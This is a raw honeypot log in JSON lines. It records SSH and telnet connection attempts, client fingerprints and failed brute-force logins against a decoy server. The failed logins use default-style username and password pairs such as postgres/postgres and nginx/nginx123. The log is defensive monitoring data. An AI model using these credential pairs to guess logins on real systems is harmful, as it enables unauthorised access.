{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.633874Z","src_ip":"176.65.139.103","session":"730767f7b7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.916215Z","src_ip":"176.65.139.103","session":"730767f7b7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58538,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1629ec21de","protocol":"telnet","message":"New connection: 5.189.169.71:58538 (10.17.0.5:23) [session: 6f1629ec21de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:20.921247Z"}
{"eventid":"cowrie.session.closed","duration":30.540449619293213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:21.129093Z","src_ip":"94.23.163.94","session":"b057febde406","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.599371671676636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:21.914707Z","src_ip":"23.254.167.244","session":"582625d7e862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.58347415924072,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:22.004639Z","src_ip":"23.254.167.244","session":"ef82c6c55837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:22.074213Z","src_ip":"176.65.139.103","session":"730767f7b7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49246,"dst_ip":"159.203.135.109","dst_port":23,"session":"922a8d61b46e","protocol":"telnet","message":"New connection: 23.254.167.244:49246 (159.203.135.109:23) [session: 922a8d61b46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:22.108423Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":54170,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc5266225b3e","protocol":"ssh","message":"New connection: 20.244.18.126:54170 (10.17.0.5:22) [session: dc5266225b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:23.870478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:23.876321Z","src_ip":"20.244.18.126","session":"dc5266225b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:24.065684Z","src_ip":"20.244.18.126","session":"dc5266225b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58544,"dst_ip":"10.17.0.5","dst_port":23,"session":"9150002ee57d","protocol":"telnet","message":"New connection: 5.189.169.71:58544 (10.17.0.5:23) [session: 9150002ee57d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:24.299939Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":37654,"dst_ip":"10.17.0.5","dst_port":23,"session":"a300827de12e","protocol":"telnet","message":"New connection: 5.189.178.126:37654 (10.17.0.5:23) [session: a300827de12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:24.447676Z"}
{"eventid":"cowrie.login.failed","username":"user2","password":"987654321","message":"login attempt [user2/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:24.860570Z","src_ip":"20.244.18.126","session":"dc5266225b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16988444328308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:25.243123Z","src_ip":"5.189.169.71","session":"7aa3d4696955","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62404155731201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:25.492637Z","src_ip":"94.23.163.94","session":"139e6558c9bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"c25e8aba6ad9","protocol":"telnet","message":"New connection: 94.23.163.94:55204 (10.17.0.5:23) [session: c25e8aba6ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:25.757320Z"}
{"eventid":"cowrie.session.closed","duration":30.470372676849365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:26.051409Z","src_ip":"94.23.163.94","session":"0054138e52b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:26.058453Z","src_ip":"20.244.18.126","session":"dc5266225b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35046,"dst_ip":"10.17.0.5","dst_port":22,"session":"184128c27eea","protocol":"ssh","message":"New connection: 176.65.139.103:35046 (10.17.0.5:22) [session: 184128c27eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:27.874056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:27.880445Z","src_ip":"176.65.139.103","session":"184128c27eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:27.981264Z","src_ip":"176.65.139.103","session":"184128c27eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:28.238843Z","src_ip":"176.65.139.103","session":"184128c27eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.178.126","src_port":37662,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ed7c1a567f","protocol":"telnet","message":"New connection: 5.189.178.126:37662 (10.17.0.5:23) [session: f7ed7c1a567f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:28.939162Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:29.359303Z","src_ip":"176.65.139.103","session":"184128c27eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.664587259292603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:30.153619Z","src_ip":"94.23.163.94","session":"fe0d65e754b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23488473892212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:33.080642Z","src_ip":"94.23.163.94","session":"a631749367aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"54.38.163.60","src_port":33390,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f9731b563b","protocol":"telnet","message":"New connection: 54.38.163.60:33390 (159.203.135.109:23) [session: c6f9731b563b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:33.224237Z"}
{"eventid":"cowrie.session.closed","duration":30.89365839958191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:33.271491Z","src_ip":"5.189.169.71","session":"f6e27edb88fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":35740,"dst_ip":"10.17.0.5","dst_port":23,"session":"4727383fc643","protocol":"telnet","message":"New connection: 5.189.169.71:35740 (10.17.0.5:23) [session: 4727383fc643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:33.359501Z"}
{"eventid":"cowrie.session.closed","duration":30.814784288406372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:34.241631Z","src_ip":"94.23.163.94","session":"7551e34e32fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821379899978638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:34.376767Z","src_ip":"94.23.163.94","session":"b74471c8b47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45254,"dst_ip":"10.17.0.5","dst_port":22,"session":"08e1f28953b5","protocol":"ssh","message":"New connection: 176.65.139.103:45254 (10.17.0.5:22) [session: 08e1f28953b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:35.701704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:35.708196Z","src_ip":"176.65.139.103","session":"08e1f28953b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:35.817937Z","src_ip":"176.65.139.103","session":"08e1f28953b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:36.375820Z","src_ip":"176.65.139.103","session":"08e1f28953b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:37.464663Z","src_ip":"176.65.139.103","session":"08e1f28953b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.09767246246338,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:38.707340Z","src_ip":"23.254.167.244","session":"ef2a5a15f89d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43445348739624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:39.648012Z","src_ip":"23.254.167.244","session":"1aff343d2059","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57248,"dst_ip":"10.17.0.5","dst_port":23,"session":"59854b8a85c5","protocol":"telnet","message":"New connection: 94.23.163.94:57248 (10.17.0.5:23) [session: 59854b8a85c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:39.763313Z"}
{"eventid":"cowrie.session.closed","duration":31.475513458251953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:40.127646Z","src_ip":"23.254.167.244","session":"ebedc2c01bb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":57264,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d19cce717b","protocol":"telnet","message":"New connection: 94.23.163.94:57264 (10.17.0.5:23) [session: 64d19cce717b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:40.507816Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37992,"dst_ip":"10.17.0.5","dst_port":23,"session":"09b0f4aeb71f","protocol":"telnet","message":"New connection: 5.189.169.71:37992 (10.17.0.5:23) [session: 09b0f4aeb71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:40.636565Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":37998,"dst_ip":"10.17.0.5","dst_port":23,"session":"eecbf962d8ba","protocol":"telnet","message":"New connection: 5.189.169.71:37998 (10.17.0.5:23) [session: eecbf962d8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:41.792863Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":50702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b08e0aa920b1","protocol":"ssh","message":"New connection: 74.87.117.149:50702 (10.17.0.5:22) [session: b08e0aa920b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:41.811930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:41.816614Z","src_ip":"74.87.117.149","session":"b08e0aa920b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:41.843102Z","src_ip":"74.87.117.149","session":"b08e0aa920b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftptest","message":"login attempt [ftpuser/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:41.971764Z","src_ip":"74.87.117.149","session":"b08e0aa920b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:42.999109Z","src_ip":"74.87.117.149","session":"b08e0aa920b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41532,"dst_ip":"10.17.0.5","dst_port":22,"session":"5257afd60675","protocol":"ssh","message":"New connection: 176.65.139.103:41532 (10.17.0.5:22) [session: 5257afd60675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:43.570667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:43.575551Z","src_ip":"176.65.139.103","session":"5257afd60675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:43.678011Z","src_ip":"176.65.139.103","session":"5257afd60675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75697088241577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:43.948627Z","src_ip":"5.189.169.71","session":"8bd26e140d29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:30:44.069904Z","src_ip":"176.65.139.103","session":"5257afd60675","protocol":"ssh"}
